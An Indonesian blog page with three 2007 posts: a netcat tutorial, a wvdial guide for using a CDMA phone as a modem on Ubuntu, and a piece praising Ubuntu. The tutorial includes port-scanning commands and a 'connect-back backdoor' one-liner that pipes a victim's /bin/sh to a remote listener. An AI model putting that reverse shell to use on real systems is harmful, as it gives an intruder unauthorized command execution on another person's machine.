Sabtu, 24 November 2007

Netcat Tutorial (Just Share)

Mengutip bagian HISTORY pada manual netcat[1] (sering disingkat sebagai nc)...

The nc utility, a "damn useful little backend utility" begun 950915 or
thereabouts, as *Hobbit*'s first real stab at some sockets programming.
Something that should have and indeed may have existed ten years ago,
but never became a standard Unix utility. IMHO, nc could take its place
right next to cat, cp, rm, mv, dd, ls, and all those other cryptic and
Unix-like things.

Hackers dan administrators sepertinya senang sekali menggunakan tool ini
untuk melakukan scanning, berkomunikasi dengan open ports, bahkan
melakukan transfer informasi atar host.

Untuk memperolehnya, Anda dapat mendownload netcat dari website
packetstormsecurity.org atau FTP mirror berikut...
* ftp://coast.cs.purdue.edu/pub/tools/unix/netutils/netcat/
* ftp://ftp.cuhk.edu.hk/pub/packages/security/purdue/netutils/netcat/

Saya tidak akan membahas lebih lanjut mengenai bagaimana menginstal netcat
pada sistem Anda karena ada banyak sekali manual yang tersebar di Internet
tentang bagaimana mengkompail atau memperoleh binary netcat yang sesuai.
Dan pada tulisan ini, saya mengkhususkan penggunaan netcat pada environment
spesifik: UNIX.

Secara sederhana, penggunaan netcat mirip dengan sebuah Telnet client,
karena netcat dapat mengakses remote host mana saja dengan port apa saja
(pada protokol TCP dan UDP). Sebagai contoh: untuk connect ke sebuah
host bernama dubyadubya.org pada port 80, Anda cukup mengeksekusi
command:

$ nc dubyadubya.org 80

Lalu tekan CTRL + C untuk exit. Jika port yang dituju terbuka, Anda dapat
memberikan perintah yang Anda inginkan. Seperti:

$ nc dubyadubya.org 80
GET / HTTP/1.0 [ENTER]
[ENTER]
HTTP/1.1 200 OK
Date: Sat, 30 Apr 2005 03:29:21 GMT
Server: Apache/1.3.33 (Darwin) PHP/4.3.10
Connection: close
Content-Type: text/html
...

Netcat juga dapat digunakan sebagai tool untuk melakukan testing sebuah
firewall. Yang menjadi tujuan testing adalah mencari tahu ports yang
berstatus OPEN dan LISTENING.

Netcat Command Options

Sebelum lebih jauh membahas contoh penggunaan netcat, ada baiknya jika
kita membahas satu-per-satu option yang tersedia dari program tersebut.

-g gateway Tentukan source routing hop untuk koneksi-koneksi
outbound.

-G number Digunakan untuk memberikan spesifikasi source routing
pointer dalam IP header.. value: 4, 8, 12, ...

-i seconds Menentukan delay interval pengiriman packets.
Sebagai contoh, jika Anda ingin netcat menunggu 5 detik
untuk scanning ports, gunakan -i 5

-l Listen mode. Jika digunakan dengan options tambahan,
maka sangat dimungkinkan untuk melakukan binding ke
sebuah root shell.

-n Tidak menggunakan DNS support dan hanya menggunakan
IP address saja. Sangat berguna jika DNS Anda seringkali
'lambat' dan 'bermasalah'.

-o file Membuat format hex-dump traffic ke sebuah file.

-p value Sebuah option untuk melakukan port spoofing. Jika Anda
ingin sebuah packet tampak terkirim dari port 53 dari
sebuah host, maka Anda akan menggunakan -p 53.

-r Memungkinkan netcat untuk melakukan random scanning ports.

-s address Melakukan spoofing source address dari packet. Option ini
tidak dapat bekerja pada semua sistem.

-u Secara default, netcat menggunakan protokol TCP. Dengan
menggunakan option ini, netcat akan menggunakan User
Datagram Protocol (UDP).

-v Verbose mode. Gunakan -v -v untuk mendapatkan informasi
yang lebih banyak.

-w seconds Membuat netcat menunggu (dalam detik) untuk setiap
respon port. Option ini biasanya dikombinasikan dengan
option -z

-z Juga disebut "zero-I/O mode", option ini memungkinkan
netcat tidak menggunakan I/O dari source system. Option
ini biasanya digunakan ketika memanfaatkan netcat sebagai
scanner.

Examples
Secara sederhana, untuk melakukan koneksi ke remote host, gunakan

$ nc [-options] hostname port[s] [ports] ...

sedangkan untuk listen pada koneksi inbound, gunakan

$ nc -l -p port [-options] [hostname] [port]

Sekarang, kita akan menggunakan netcat sebagai tool untuk melakukan
pengecekan terhadap sebuah remote host. Jika Anda menginginkan
scanning pada port 1 sampai 1024, maka perintah yang diberikan adalah

$ nc -z -w 5 -n -v 234.56.78.9 1-1024
(UNKNOWN) [234.56.78.9] 631 (?) open
(UNKNOWN) [234.56.78.9] 113 (?) open
(UNKNOWN) [234.56.78.9] 80 (?) open
(UNKNOWN) [234.56.78.9] 25 (?) open

Gunakan double verbose (-v -v) untuk mendapatkan informasi tentang
ports yang tertutup (refused)...

(UNKNOWN) [234.56.78.9] 5 (?) : Connection refused
(UNKNOWN) [234.56.78.9] 4 (?) : Connection refused
(UNKNOWN) [234.56.78.9] 3 (?) : Connection refused
(UNKNOWN) [234.56.78.9] 2 (?) : Connection refused
(UNKNOWN) [234.56.78.9] 1 (?) : Connection refused

Option -z dan -w 5 digunakan agar netcat tidak melakukan binding sebuah
port dan menunggu lima detik untuk setiap koneksi. Option -n digunakan
untuk tidak memanfaatkan fitur DNS resolve.

Untuk target ports, Anda dapat melakukan pembatasan hanya pada port
tertentu saja.

$ nc -z -w 5 -n -v 234.56.78.9 21-25, 53, 80, 110-113, 443

Anda dapat melakukan scanning UDP ports dengan menambahkan option -u

$ nc -u -z -v -n 234.56.78.9 1-65335
(UNKNOWN) [234.56.78.9] 69 (?) open
(UNKNOWN) [234.56.78.9] 514 (?) open
(UNKNOWN) [234.56.78.9] 53 (?) open


------| Advanced Examples

Pada penggunaan tingkat lanjut, netcat juga dapat digunakan sebagai
tool untuk melakukan transfer file. Sebagai contoh: Anda ingin
melakukan copy-transfer sebuah direktori dari host-A ke host-B .
Maka yang perlu Anda lakukan adalah:

* pada host-A

$ tar cvf - direktori/ | nc host-B 12345

* pada host-B

$ nc -l -p 12345 | tar xvf -

Anda juga dapat mengunakan netcat sebagai connect-back backdoor. :-)

* pada host-A, aktifkan 2 window dimana netcat dijalankan dengan
LISTEN mode.

$ nc -l -p 12345 [ window-1 ]
$ nc -l -p 12346 [ window-2 ]

* pada host-B (yang menjadi victim)

$ nc -v host-B 12345 | /bin/sh | nc -v host-B 12346

Pada window-1 di host-A, Anda dapat mengetikkan perintah yang akan
dijalankan pada host-B, dan kemudian melihat output dari perintah
yang diberikan pada window-2 di host-A.

Penutup

Netcat layaknya sebuah Swiss Army Knife, dapat menjadi tool yang sangat
bermanfaat bagi mereka pada network administrator. Namun tool ini juga
dapat menjadi boomerang jika dimanfaatkan oleh mereka yang punya niatan
tidak baik pada resource yang kita miliki.

Referensi

[1] Hobbit, "nc (netcat) - use network sockets from the command
line," Netcat Manual, 1995.

Special Thanks to Original Writer

Kamis, 22 November 2007

How To Setting My CDMA Modem ?

How to setting my cdma phone modem ? atau bagaimana cara setting handphone cdma menjadi modem pada ubuntu ?, mungkin pertanyaan tersebut yang sering muncul di kepala teman-teman sekalian pada saat pertama kali bermigrasi ke linux atau khususnya ubuntu. untuk itu aku coba untuk share pengalaman ku waktu menyetting hanphone Nokia 2865 ku agar bisa berfungsi sebagai modem di ubuntu, tapi semestinya apa yang akan aku share berikut ini sama prosedurnya di distro yang lain. so, shall we start ?

Pertama-tama yang penting di ingat adalah kita harus punya satu buah handphone CDMA lengkap ama nomornya dan kabel datanya. soalnya kalo kita tidak memiliki handphone cdma apa yang mau di jadikan modem, tul gak ??.
  1. tancapkan perangkat yang kita miliki (dalam hal ini aku gunakan HP Nokia 2865) ke komputer atau laptop (aku gunakan laptop Acer TravelMate-3260).
  2. setelah perangkat (HP,Kabel Data, Komputer terkoneksi), jangan kaget bila Ubuntu temen-temen tidak memberikan respon apa-apa alias terkesan cuek bebek (mengingat biasanya Ubuntu tanggap banget kalo ada FlashDisk atau External Hardisk yang di tancepin langsung di tampilkan di layar desktop), coba buka terminal dan ketikan #dmesg | grep lsusb, perintah ini untuk mengetahui hp yang kita tancapkan ke laptop di support atau tidak oleh Ubuntu, dan apabila di support, terbaca sebagai apa ???, kebetulan di laptop yang aku pakai HP Nokia 2865 ku disupport dan terbaca sebagai /dev/ttyACM0.
  3. setelah kita tahu terbaca sebagai apa HP kita, kita buka terminal atau konsole dan ketikkan cat >> wvdial.conf. Selanjutnya, ketikkan script di bawah ini (note: sesuaikan dengan kartu yang teman-teman pakai, kebetulan di sini saya gunakan Fren sebagai koneksinya)

[Dialer Fren]
Phone = #777
Username = m8 (Note: untuk telkomnet = telkomnet@flexy)
Password = m8 (Note: untuk telkomnet = telkom)
Modem = /dev/ttyACM0 (note: Sesuaikan dengan hasil pembacaan dari pesan dmesg)
Baud 230400
Init1 = AT+crm=1
Stupid Mode = 1
FlowControl = CRTSCTS
Dial Command = ATDT
Compuserve = 0
Force Adress =
DialMessage1 =
DialMessage2 =
ISDN = 0
Auto DNS = 1
New PPPD = yes

Dan akhiri dengan menekan tombok Ctrl+D.

Sekarang cobalah untuk konek ke internet dengan perintah

#wvdial Fren

bila semua lancar maka akan muncul tulisan-tulisan seperti di bawah ini secara berulang-ulang:


coba browsing internet dengan Firefox. buka website yang ringan for example: http://www.google.co.id. dan bila langsung bisa membuka halaman google, maka anda sudah bisa langsung berinternet-ria dengan Ubuntu anda. tetapi bila website google tidak bisa terbuka, hemm... jangan frustasi dulu, coba buka :

System –> Administrasi –> Network Setting
.

Kemudian ada kotak dialog Connection di mana ada pilihan Modem Connection. beri tanda centang, kemudian isi :

dial number : #777
username : telkomnet@flexi
password : telkomnet

Kemudian buka lagi Firefox dan coba lagi untuk membuka Google. Insya Allah anda sudah bisa berinternet-ria dengan Ubuntu.

Demikian share dari aku, semoga bisa membantu teman-teman, minimal sedikit mengendurkan syaraf otak yang tegang karena gak bisa internetan dengan Ubuntu.

Rabu, 21 November 2007

Ubuntu For Human Being

Ubuntu is a community developed operating system that is perfect for laptops, desktops and servers. Whether you use it at home, at school or at work Ubuntu contains all the applications you'll ever need, from word processing and email applications, to web server software and programming tools.

Ubuntu is and always will be free of charge. You do not pay any licensing fees. You can download, use and share Ubuntu with your friends, family, school or business for absolutely nothing.

We issue a new desktop and server release every six months. That means you'll always have the the latest and greatest applications that the open source world has to offer.

Ubuntu is designed with security in mind. You get free security updates for at least 18 months on the desktop and server. With the Long Term Support (LTS) version you get three years support on the desktop, and five years on the server. There is no extra fee for the LTS version, we make our very best work available to everyone on the same free terms. Upgrades to new versions of Ubuntu are and always will be free of charge.

Everything you need on one CD, which provides a complete working environment. Additional software is available online.

The graphical installer enables you to get up and running quickly and easily. A standard installation should take less than 25 minutes.

Once installed your system is immediately ready-to-use. On the desktop you have a full set of productivity, internet, drawing and graphics applications, and games.

On the server you get just what you need to get up and running and nothing you don't.

Get Ubuntu now »

What does Ubuntu mean?

Ubuntu is an African word meaning 'Humanity to others', or 'I am what I am because of who we all are'. The Ubuntu distribution brings the spirit of Ubuntu to the software world.

(Original Article Taken From Official Ubuntu Website on http://www.ubuntu.com)

Uraian diataslah yang membuat aku mantap untuk beralih dari Windows kepada sistem operasi Linux khususnya Ubuntu. Bayangan yang menghantui fikiranku langsung lenyap begitu aku melihat tampilan desktop ubuntu di Laptop Acer Travelmate-3260 milik-ku setelah ubuntu ku tanamkan menjadi Operating System utama.

Opini yang berkembang bahwa Linux tidak user friendly, Tampilan linux kuno dan tidak trendy, segera sirna begitu melihat apa yang terpampang di layar laptopku


Ternyata Ubuntu atau Linux tidak kalah dengan Windows Vista dan Mac OS, bahkan menurut aku lebih cantik, di tambah lagi mata kita di manjakan dengan fasilitas desktop decoration sehingga tampilan desktop seperti Windows Vista yang memerlukan memori minimal sebesar 512kb (itupun maksa banget) untuk bisa 3 Dimensi, di Ubuntu yang terpasang di Laptop Acerku dengan Memory 512kb Enteng banget (bahkan lebih dari CUKUP) untuk memainkan animasi desktop seperti desktop AERO di Windows Vista.


Semua hardware dan peripherial 95% langsung di kenali oleh Ubuntu, sehingga bisa dibilang tidak ada kesulitan yang berarti yang kutemui saat ber-migrasi dari Windows ke Linux.

Apalagi ditengah gencar-gencarnya aparat penegak hukum melakukan sweeping software bajakan, Ubuntu menawakan kemudahan dan kebebasan. Lalu pertanyaan yang mendasar bagi setiap masyarakat indonesia "Berapa besar Dana yang harus disiapkan untuk bermigrasi dari Windows ke Ubuntu / Linux ? ", aku bisa pastikan "Jauh Lebih kecil dibandingkan dana yang harus kita siapkan untuk menanamkan Operating System Windows, bahkan bisa di bilang gratis". Karena kalaupun ada biaya itupun hanya biaya koneksi internet atau membeli 1 keping CD installer atau Live CD yang bila di rupiahkan 1 keping CD atau DVD paling mahal sebesar Rp.50.000.

Dalam Blog ini, aku coba untuk menyajikan segala ulasan tentang ubuntu dan menyediakan semua software atau package Ubuntu yang bisa teman-teman download dan pakai, dan yang pasti jangan takut kena sweeping, karena Ubuntu is free. atau bahkan bila ada diantara teman-teman yang memerlukan Live-CD Ubuntu sebagai percobaan sebelum memutuskan untuk berpindah haluan, teman-teman bisa hubungi aku dan akan ku kirimkan CD-nya.